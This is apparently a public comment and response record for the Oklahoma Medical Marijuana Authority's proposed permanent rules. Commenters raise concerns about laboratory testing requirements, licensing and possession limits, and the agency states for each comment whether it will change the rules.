CEM Corporation is a manufacturer of microwave laboratory instrumentation including acid digestion systems. The MARS 6® closed vessel microwave digestion system with Xpress® / XpressPlus® vessels has proven to be a workhorse for laboratories performing heavy metals analysis in cannabis products.

It has come to our attention that there is a proposed rule change in the Oklahoma Medical Marijuana Authority method in the following section on page 74:

Subchapter 8: Laboratory Testing
442:10-8-1: Testing Standards and Thresholds
(D) Sample Prep

The proposed change reads:
"If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed."

CEM has been directly involved with cannabis committees and workgroups with both AOAC and ASTM, and this stipulation is not mentioned in any of their official cannabis methods.

We feel that this proposed rule change is unreasonable for the following reasons:

1. The 1% weight loss rule appears to have been taken from EPA environmental methods that were developed approximately 30 years ago using different digestion systems and vessels on different sample matrices with completely different chemistries.

2. Organic-based samples such as cannabis produce gaseous decomposition products such as CO_2 and NO_2 when oxidized with HNO_3, and some of the acid is consumed. These decomposition gases may vent away during digestion and/or when the vessels are opened, and therefore do not condense back into solution.

Xpress® and XpressPlus® digestion vessels which are commonly used for cannabis digestions are designed to vent away decomposition gases during heating and reseal to avoid an unsafe over-pressurization. Up to 10% reduction in final volume is expected due to loss of these decomposition gases. However, analytes, including volatiles such as As and Hg are retained in solution.

3. There is room for error in the final weight measurement if it is taken before the vessels have cooled completely to room temperature due to a buoyancy effect of warm vessels on the analytical balance. This error could account for $\geq 1\%$ weight loss.

4. Final weight must be taken before the vessels are vented and opened. There is a safety concern for the operator with handling pressurized vessels on the analytical balance outside of the fume hood.

5. Sample integrity can be verified more accurately in the following ways:
a. Confirmation that the batch temperature met the method requirements
b. Individual vessel temperature verification
c. Recovery data of Quality Control Check Samples and Spikes

6. Will the same 1% weight loss criteria apply to the optional open beaker hot plate method? (Section (B) Instrumentation) If not, why not?

CEM Corporation has over 40 years of microwave sample preparation experience and would be very happy to discuss these comments with the committee if desired.

Thank you for your consideration.

Best regards,

Elaine Hasty
Sr. Applications Chemist
CEM Corporation
3100 Smith Farm Road
Matthews, NC 28104
(704) 821-7015

Elaine Hasty / CEM Corporation

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in OAC 442:10-8-1(i)(4)(D). Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in OAC 442:10-8-1(i)(4)(D).

Comment:
Tremendous authorities are provided the Authority to declare an "Emergency exists", but "Emergency" is not defined in the regulation. If it is defined as "requiring immediate action in order to protect the health or welfare of the public", this definition would be inadequate, because the Authority does not have proper guidelines to consider whether an emergency exists. For instance, the Authority could consider that sound emanating from a Facility is too loud and could cause damage to the public, but a similar sound power level emanating from a power plant would be considered safe because the power plant has a set of guidelines that it must adhere to be considered in compliance with OSHA regulations. Sans any recognized industrial regulations which would determine the emergency, we cannot rely on the Authority to make rational decisions.

Case-in-point: the threat of the Authority to close down thousands of businesses because they did not have proper signage. Or, the current threat by the OBN to close down 2000 MMJ businesses who don't have a COO from the State Fire Marshall, even though the OBN is well aware that the State Fire Marshall is backlogged roughly a year review permits and perform inspections.

Michael Ralston

OMMA Evaluation:

We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. In the context of emergency cease and desist, the "requiring immediate action in order to protect the health or welfare of the public" language is statutory. The requirement that the Authority immediately revoke licenses for signage noncompliance is required by SB 1737 (2022) and 63 O.S. § 427.21 of state statute. It's important to note that changes to these requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The requirement to test fresh frozen that will be made into a concentrate and then tested again in its final form is redundant, does not provide extra protection for medical marijuana patients and is a financial burden on medical marijuana growers and processors.

Rules should be updated to only require a full panel test on the finished processed product that will be sold to consumers.

Luke Janger

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:

Insurance requirements.
Testing requirements and procedures will be very burdensome and unfair. 14g of concentrates to my company is 600$ and that is a lot. not to mention 28 .5 gram carts including the hardware adds an additional 180$. This is insane. You are going to put people out of business and drive people to create lower quality products and use subpar equipment and make the patients pay even more.

Chris Opie

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to minimum sample weight requirements, the Authority will be making changes to permanent rules to lower the sample sizes from 7 grams to 5 grams each in **OAC 442:10-8-3(b)(1)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority lowered required sample sizes from 7 grams to 5 grams each in **OAC 442:10-8-3(b)(1).**

Comment:
Leave well enough alone

Kent Taylor

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The new rules on limiting dosages will make RSO unavailable to cancer patients and autistic people like myself. This medicine has provided significant change in my pain tolerance, eliminates meltdowns and also prevents cancer cells from multiplying in studies.

Jessica Campbell

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
When we (Oklahomans) voted to legalize medical marijuana, we did so explicitly under the oversight of the OMMA. I continue to place my faith in them, their decisions, and their proposed rule amendments, especially over the baseless, kneejerk, reactionary opinions of politicians just trying to get on TV. OMMA is looking out for us Oklahomans who rely on medical marijuana. I can't say the same about any other governing board in Oklahoma, and I know that the governor's office is actively working to dismantle the things we voted for in 2020. We Oklahomans were posed a question and we overwhelmingly answered in the affirmative: we voted to legalize medical marijuana and to create the OMMA. I stand behind the OMMA, and if they think this is the best way to move forward, then I believe them.

Veronica E Raj

OMMA Evaluation:

We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
There does not appear to be any recourse in your rules if someone wants to drop a grow operation and a dispensary in the middle of a residential area. I'm pretty ticked about the one going in at Waterloo and Kelly in Logan County

Adam Ebberts

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
As a business owner of several locations and having the experience with the current work force in Oklahoma and how unreliable people can be in showing up or performing duties to the standard required how will we ever be able to run consistant hours of operation and be a reliable place of business for patients if we have an employee unexpectedly get ill, quit or fail in performance and they need be replaced but yet we as a business will have to wait an unknown amount of time for the new hires to get employee background checks and crudentials from third party before we can even start training. I can see this being a detramental issue causing big losses and possibly causing some locations to close the doors temporarly which could lead to permanitly.

Daniel Pratt

OMMA Evaluation:
Thank you for taking the time to share your comment. The proposed permanent rules implement legislative changes mandated by SB 1704 (2022) and address changes in statute under 63 O.S. § 427.14b. The permanent rules are intended to provide a structure for the implementation of these legislative requirements, including clarification on the requirement that all employees of a medical marijuana business licensee apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
N

LaFaye Caldwell

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
?

Dalia

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
You guys are taking these things way too far. You need to just uphold the current rules. A ton of the new changes are going to hurt business and patients alike.

Stephen Anders

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Leave well enough alone

Carolyn

OMMA Evaluation:

Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Implementation of these rules and associated costs are going to cause patients to return to black market suppliers because of the stigma the state is trying to impose on people who use marijuana which is overwhelmingly evident in every public rule change imposed since the creation of the MMA!

David Roughley

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:10-2-8. Possession limits
(3) Legally possess six mature marijuana plants and the harvested marijuana therefrom;
(4) Legally possess six seedling plants;
(7) Legally possess up to eight (8) ounces (226.4 grams) of marijuana in their residence
There is no way for the legal layperson to interpret these seemingly conflicting rules which make no sense without further interpretation.

Items 3 and 4 when combined with item 7 of 442:10-2-8 are ambiguous and impossible to interpret by the legal layman. Furthermore, when calling the OMMA for clarification we are told 'all at once' and that they are unable to interpret the rules themselves. What good is a rule if nobody is willing to interpret it? Even if we were able to afford legal advice there would still be no definitive answer until a judge swings his gavel. This is unfair.

One might expect to harvest up to 16 oz or more of dried marijuana from a single plant grown indoors. That alone would violate the 8 oz limitation in item (7) and yet item (3) reads that it is legal for us to keep 'the harvested marijuana therefrom'. Is it the intention of the legislature to confuse patients and possibly entrap them into breaking the law? I would argue yes. Clarification is required if you have specific expectations. Otherwise, this law is written in order to selectively prosecute patients with inconsistancy, prejudice, discrimination and malice.

Thank You.

Kenneth Zuver

OMMA Evaluation:

We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. Medical marijuana patient possession limits are set in state statue at 63 O.S. § 420. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:10-8-3. Sampling requirements and procedures (a)General requirements (8)

The satisfaction of the sampling field log requirement will be attained through the authorization granted during the creation of the METRC manifest. In accordance with the Oklahoma Medical Marijuana Protection Act, 63 O.S. § 427 et seq, and corresponding regulations, the laboratory is obligated to submit relevant information and data to the Authority via the State inventory tracking system. This submission to the Authority through the State inventory tracking system is considered adequate to fulfill the sampling field log obligation.

Should the state require additional information, this information should be acquired by addition of fields in METRC.

442:10-8-3. Sampling requirements and procedures (a) General requirements(4)(B)

The current rules for testing concentrate safety in vaping carts or pods falls short in ensuring compliance with safety requirements. The process for removal of product from the cart, which involves heating, spinning, and breaking the carts or pods, presents inherent risks to both the integrity of the samples (potential for contamination and altered properties) and the safety of laboratory staff (risks associated with broken glass, plastic, etc.). Additionally, the testing of solvents like propane and butane is compromised due to the off-gassing resulting from the heating process, thereby compromising the overall safety of the tested products.
A more effective proposal involves packaging Certificate of Analysis (COAs) with the hardware, coupled with the state providing an approved list of vapes. Screening of carts prior to packaging would accomplish the same end goal without compromising patient and laboratory staff safety. This approach ensures a heightened level of safety and compliance in the industry.
By deviating from the standard sample preparation tools, the likelihood for adulteration or injury increases drastically. ⅓ of all workplace injuries are hand injuries (https://pubmed.ncbi.nlm.nih.gov/9382655/). The opening of single use devices overwhelmingly results in broken glass, plastic, and unknown exposure to hazardous carcinogen and mutagens for laboratory staff.
Finally, when conducting final form testing, it is advisable to use standard equipment. If testing within a cart is desired, it should be easily opened to facilitate proper examination.
The addition of a definition of final form to meet a legally acceptable definition such as the following would improve industry compliance.
"The Final form of medical marijuana products are in final form packaged for ultimate consumer use and suitable for purchase by a patient or dispensary. In the event that the final form is inaccessible to the laboratory to perform safety testing, the final form shall be considered the marijuana derived product or final product."
These proposed revisions aim to enhance the efficacy, safety, and environmental responsibility of the proposed rules in the context of concentrate safety testing for vaping products.

Landon Andrews

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
We are paying for a 30 day license that we ARE NOT allowed to use for 30 days. You can only use a hard copy license to enter and complete a pharmaceutical sale. NOT DIGITAL. So, by the time we get our hard copies in tge mail, we only have 1 day to 2 weeks left to use our license. When we sign and pay the state of Oklahoma for a service we should get it, but instead, the state is breaching their end of the contract we entered into and paid for. What is our compensation for loss of license time and loss of license finances?

Stephanie Patterson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. The term length of a temporary medical marijuana patient license is set in state statue at 63 O.S. § 420. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
How about do your job first!! You need the education not us!! You need to be educated on the plant itself so we can fix this metrc situation that you have everybody in. Maybe if you do your job and learn about the plant we wouldn't be sitting in these situations that we would be in for new rules. Who's going to be educating us? I will not be getting education from certain human beings in this state because they have no idea what they're talking about. They are making stuff up just like you. So who's going to teach us if we have to have education? Cause it isn't you! Cannabis has not been researched there is not a lot of education on it there's a whole school in California about it and that whole College out there is still learning about everything to do with this plant! So again who is going to teach us? You! I don't think so because you have a lot of stuff to learn yourself! You need to do your job and fix the industry and the rules that you have now. If you can fix all of that and the way that this plant is ran in this state then maybe you can come back and put some more permanent rules in until you can fix what you having to place now and you can do your job better there is no reason to put in any new permanent rules! We pay you thousands of dollars a year patients pay you hundreds of dollars every year and for you to do what? Add more rules! To continue sweeping stuff under the rug about the big corporations and these nasty people in this industry who keep pumping poison into people who are already sick! I'm sick of this do your job fix

this industry take metric away and figure out another Tracking Company that is from the state of oklahoma! Then we can talk about no more rules! Got a problem with this you can call me!

Katelyn Wilbanks

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
As usual, you so called elected leaders/administrators over-complicating the trivial while minimizing the important.

JW Fisher

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:10-8-1
The standard of <10^4 cfu/g for total yeast and mold has been dropped in most states. Hawaii raised their standard to 2x10^4 after one year in the medical marijuana program as the value is highly dependent on the product moisture. Remediation and retesting went down significantly after that slight change.

Requiring controls every 20 samples is excessive. In chemistry assays this is reasonable as the tests are analyzed sequentially and could take 10+ hours start to finish for 20 samples. All thermocyclers analyze all wells concurrently. General industry practice is to have one set of controls per plate.

Not addressed is if each aspergillus needs to be speciated. Not all AOAC approved kits have a separate channel for each aspergillus.

Retest rules are not specific. Can retest be on a different PCR platform in the event of ambiguous results? Can free DNA removal be used on the retest if it was not used on the original test?

442:10-8-1.3
Recovery of propane and butane in a spiked sample is exceedingly difficult. Arizona has set the recovery of butane to 60-140% due to the extra volatility before removing propane of the regulated list entirely.

442:10-8-1.4

"Collision reaction cell" should be replaced with "helium collision cell". Helium collision cells are found on single quad instruments between the torch and the quad. They are used to separate diatomic elements from elements with the same m/z ratio. Collision reaction cells are found on tandem quad systems between the quads. They are primarily used to bind with oxides to give them a different m/z ratio.

Seal integrity check should be eliminated. Losing nitric acid in the gaseous form is not a problem and should be expected. Recovery of volatile elements (mercury) are monitored by the control samples.

442:10-8-1.5
Not all AOAC approved pesticide methods use internal standards for quantification. (e.g., Agilent's reference method). Deuterated analogs do not exist for all pesticides.

442:10-8-1.6
Consider curtailing cannabinoid list. Any cannabinoid specified must be challenged annually with a proficiency test. Most PT's only have the big 6.

The formula for adding masses of acidic and neutral variants does not work for cannabinoids that are not 314 AMU. Specifically; CBGA(0.8778), CBN(0.8758), and THCVA (0.8667).

Consider adding rules for synthetic THC. The easy conversion of CBD to THC has led to the introduction of products in most states containing delta-6-THC, delta-10-THC, and HHC, all of which are psychoactive.

442:10-8-7
Consider removing GC-FID as an option for terpene testing. Retention times are not specific enough to differentiate signal from noise on real samples. Arizona allows GC-FID only if a second method is used for peak identification. i.e. a second column phase, inline MS.

Page 59
No remediation path is given for flower except by extraction. The most common failure for flower is total yeast and mold, which is easily remediated by additional drying.

William English

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. As it relates to synthetic THC, the Authority will be adding THCA to the list of required cannabinoids and will be clarifying the calculation of total THC. As it relates to instrumentation for heavy metal analysis, the Authority will be making changes to permanent rules to clarify instrumentation for heavy metal analyte testing in **OAC 442:10-8-1(i)(4)(B)**. As it relates to laboratory quality control samples, the Authority reduced the requirement from every 20 samples to once every plate in an analytic run. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D)**, added THCA to the list of required cannabinoids in **OAC 442:10-8-1(i)(6)(A**) and

clarified the calculation of total THC in **OAC 442:10-8-1(i)(6)(B)(ii)**. The Authority broadened instrumentation for heavy metal analysis by adding "or Coupled Plasma Optical Emission Spectroscopy (ICP-OES)" in **OAC 442:10-8-1(i)(4)(B)** and reduced laboratory quality control samples required in **OAC 442:10-8-1(i)(1)(D)(ii), OAC 442:10-8-1(i)(1)(E)(ii)** and **OAC 442:10-8-1(i)(1)(E)(iii).**

Comment:
SECTION 442:10-8-1.(i)(1)(E)(ii)(III)

STRIKE ENTIRE SECTION 442:10-8-1.(i)(1)(E)(ii)(III) "An environmental negative control, a duplicate of the negative control, except that the plate shall remain open to the environment during the sample preparation period; and"

This section should be removed from the QC requirements for agar plate microbial testing as no sample plates are handled in this manner. QC samples should replicate how actual test samples are handled. In this case, no test sample plates are left open for longer than a few seconds. Leaving an environmental control plate open to the environment invites exposure to contamination that sample plates are not exposed to. A negative control sample fulfills the requirement of ensuring that the batch is prepared in a non-contaminated environment, thus making an environmental duplicate of the negative control unnecessary.

442:10-8-1.(i)(4)(D)

AMEND SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

PROPOSED AMENDMENT TO SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds ten percent (10%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

This proposed amendment changes the seal integrity weight loss requirement from the proposed 1% to 10%, which is more in line with other industries that digest organic material.

Of Note: A letter from CEM, a major manufacturer of microwave digesters:

February 15, 2024

Title 442. Oklahoma Medical Marijuana Authority

RE: Proposed Permanent Rule

To whom it may concern:

CEM Corporation is a manufacturer of microwave laboratory instrumentation including acid digestion systems. The MARS 6® closed vessel microwave digestion system with Xpress® / XpressPlus® vessels has proven to be a workhorse for laboratories performing heavy metals analysis in cannabis products.

It has come to our attention that there is a proposed rule change in the Oklahoma Medical Marijuana Authority method in the following section on page 74:

Subchapter 8: Laboratory Testing
442:10-8-1: Testing Standards and Thresholds
(D) Sample Prep
The proposed change reads:

"If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed."

CEM has been directly involved with cannabis committees and workgroups with both AOAC and ASTM, and this stipulation is not mentioned in any of their official cannabis methods.

We feel that this proposed rule change is unreasonable for the following reasons:

1. The 1% weight loss rule appears to have been taken from EPA environmental methods that were developed approximately 30 years ago using different digestion systems and vessels on different sample matrices with completely different chemistries.

2. Organic-based samples such as cannabis produce gaseous decomposition products such as CO 2 and NO 2 when oxidized with HNO 3 ,and some of the acid is consumed. These decomposition gases may vent away during digestion and/or when the vessels are opened, and therefore do not condense back into solution. Xpress® and XpressPlus® digestion vessels which are commonly used for cannabis digestions are designed to vent away decomposition gases during heating and reseal to avoid an unsafe over-pressurization. Up to 10% reduction in final volume is expected due to loss of these decomposition gases. However, analytes, including volatiles such as As and Hg are retained in solution.

3. There is room for error in the final weight measurement if it is taken before the vessels have cooled completely to room temperature due to a buoyancy effect of warm vessels on the analytical balance. This error could account for ≥ 1% weight loss.

4. Final weight must be taken before the vessels are vented and opened. There is a safety concern for the operator with handling pressurized vessels on the analytical balance outside of the fume hood.

5. Sample integrity can be verified more accurately in the following ways:
a. Confirmation that the batch temperature met the method requirements
b. Individual vessel temperature verification
c. Recovery data of Quality Control Check Samples and Spikes

6. Will the same 1% weight loss criteria apply to the optional open beaker hot plate method? (Section (B) Instrumentation) If not, why not?

CEM Corporation has over 40 years of microwave sample preparation experience and would be very happy to discus

Sarah Cameron

OMMA Evaluation:

We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. As it relates to the environmental negative control or duplicate negative control, the Authority will be making changes to permanent rules to remove the QC requirements for agar plate testing. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D)** and removed environmental negative control and duplicate negative control requirements in **OAC 442:10-8-1(i)(1)(E)(ii)** and **OAC 442:10-8-1(i)(1)(E)(iii)**.

Comment:
AMEND SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

PROPOSED AMENDMENT TO SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds ten percent (10%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

This proposed amendment changes the seal integrity weight loss requirement from the proposed 1% to 10%, which is more in line with other industries that digest organic material.

Of Note: A letter from CEM, a major manufacturer of microwave digesters:

February 15, 2024

To whom it may concern:

CEM Corporation is a manufacturer of microwave laboratory instrumentation including acid digestion systems. The MARS 6® closed vessel microwave digestion system with Xpress® / XpressPlus® vessels has proven to be a workhorse for laboratories performing heavy metals analysis in cannabis products.

It has come to our attention that there is a proposed rule change in the Oklahoma Medical Marijuana Authority method in the following section on page 74:

Subchapter 8: Laboratory Testing
442:10-8-1: Testing Standards and Thresholds
(D) Sample Prep
The proposed change reads:

“If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed.”

CEM has been directly involved with cannabis committees and workgroups with both AOAC and ASTM,

and this stipulation is not mentioned in any of their official cannabis methods.

We feel that this proposed rule change is unreasonable for the following reasons:

1. The 1% weight loss rule appears to have been taken from EPA environmental methods that were developed approximately 30 years ago using different digestion systems and vessels on different sample matrices with completely different chemistries.

2. Organic-based samples such as cannabis produce gaseous decomposition products such as CO 2 and NO 2 when oxidized with HNO 3 ,and some of the acid is consumed. These decomposition gases may vent away during digestion and/or when the vessels are opened, and therefore do not condense back into solution. Xpress® and XpressPlus® digestion vessels which are commonly used for cannabis digestions are designed to vent away decomposition gases during heating and reseal to avoid an unsafe over-pressurization. Up to 10% reduction in final volume is expected due to loss of these decomposition gases. However, analytes, including volatiles such as As and Hg are retained in solution.

3. There is room for error in the final weight measurement if it is taken before the vessels have cooled completely to room temperature due to a buoyancy effect of warm vessels on the analytical balance. This error could account for ≥ 1% weight loss.

4. Final weight must be taken before the vessels are vented and opened. There is a safety concern for the operator with handling pressurized vessels on the analytical balance outside of the fume hood.

5. Sample integrity can be verified more accurately in the following ways:
a. Confirmation that the batch temperature met the method requirements
b. Individual vessel temperature verification
c. Recovery data of Quality Control Check Samples and Spikes

6. Will the same 1% weight loss criteria apply to the optional open beaker hot plate method? (Section (B) Instrumentation) If not, why not?

CEM Corporation has over 40 years of microwave sample preparation experience and would be very happy to discuss these comments with the committee if desired.

Laura Eason

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D)**.

Comment:
Why would you need LQC samples every 20 samples for micro testing? Running quality control samples every 20 samples makes sense for chemical testing using instrumentation that may fluctuate over time as

samples run one at a time. The purpose of running LQC after a series of samples is to show the instrument and run are stable and in control over the entire run time. Microbiological testing is either performed by agar methods or molecular biology methods (RT qPCR, NGS, PCR with microarray) where all samples run on a plate(s) concurrently. If you have enough samples to run 2 plates, for example, with 80 samples on one plate and 2 samples on a second plate, how will the LQC at the end of the second plate be representative of the first 18 samples on the previous plate? There should be proper controls for microbiological testing as with any appropriate method but the OMMA law writers need to review the literature for how FDA handles pharmaceutical drugs. The USP should be the gold standard for our industry testing as it is in pharmaceutical and dietary supplements as well as AOAC being a major contributor. We are handling drugs in this industry not environmental samples. OMMA should seek experienced professionals in the pharmaceutical and dietary supplement industries for guidance. It seems all testing method quality control sections are written following procedures for ICPMS environmental type methods but each method should be addressed individually.

Cheri Turman, PhD.

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to laboratory quality control samples, the Authority reduced the requirement from every 20 samples to once every plate in an analytic run. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority reduced laboratory quality control samples required in **OAC 442:10-8-1(i)(1)(D)(ii), OAC 442:10-8-1(i)(1)(E)(ii)** and **OAC 442:10-8-1(i)(1)(E)(iii)**.

Comment:
1. Heavy Metal
No more than 1% sample loss on Digestion for Heavy metal testing doesn't make sense. According to data from CEM which produces Digestion instruments, 3% or more sample loss are very common for organic matrix samples by acid digestion. I suggest that we remove this regulation on sample loss on digestion, or set the limit to 10% sample loss which makes it applicable.
2. Mycotoxins (E) and Pesticides (E).
The LCS limits for Pesticides and Mycotoxins are incorrect/not applicable. CCV limits should be more stringent than the LCS limits. LCS's are carried through the extraction process and matrix effect which causes more room for variation and error. The CCV limits should be set at plus/minus 25% (75-125%) and LCS limits set at plus/minus 35% (65-135%).
3. Microbial Testing
An environmental plate for QC is proposed for culture testing. But the plates for samples are only opened for less than 10 seconds while environmental plate needs to be opened for the whole plating period which can be one hour or longer. So we are NOT comparing apple to apple. I suggest that we remove this environmental QC plate rule, or set a better open time for the plate, for example 1 minute or less to make scientific sense.

Alex Tang, Lab Director
Sunrise Labs

Xu(Alex} Tang, Lab Director

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. As it relates to limits for mycotoxins and pesticides, the Authority will be making changes to permanent rules to clarify the CCV and LCS limits. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in OAC 442:10-8-1(i)(4)(D) and updated the CCV and LCS limits in **OAC 442:10-8-1(i).**

Comment:
I am unable to attend the public hearing tomorrow AM, but I wanted to appeal to those adjusting the rules for the marijuana industry to please address the lack of neighborhood protection from these businesses! I have previously emailed the OMMA about the grow operation, dispensary, and we hear a POT FRIENDLY TAVERN being currently constructed on Waterloo at Kelly in Edmond in Logan County - right on the corner of Oak Tree Estates neighborhood. MY neighborhood. For the record, I voted against medical marijuana because I knew what would happen in our state if it passed. And it's even worse than anyone could have imagined, and Oklahomans have seen that with their own eyes and decisively voted down recreational. Please please change the rules to protect not just schools, but neighborhoods where our children - which the government always says they want to protect - live and play. Thank you.

Marla Ford

OMMA Evaluation:
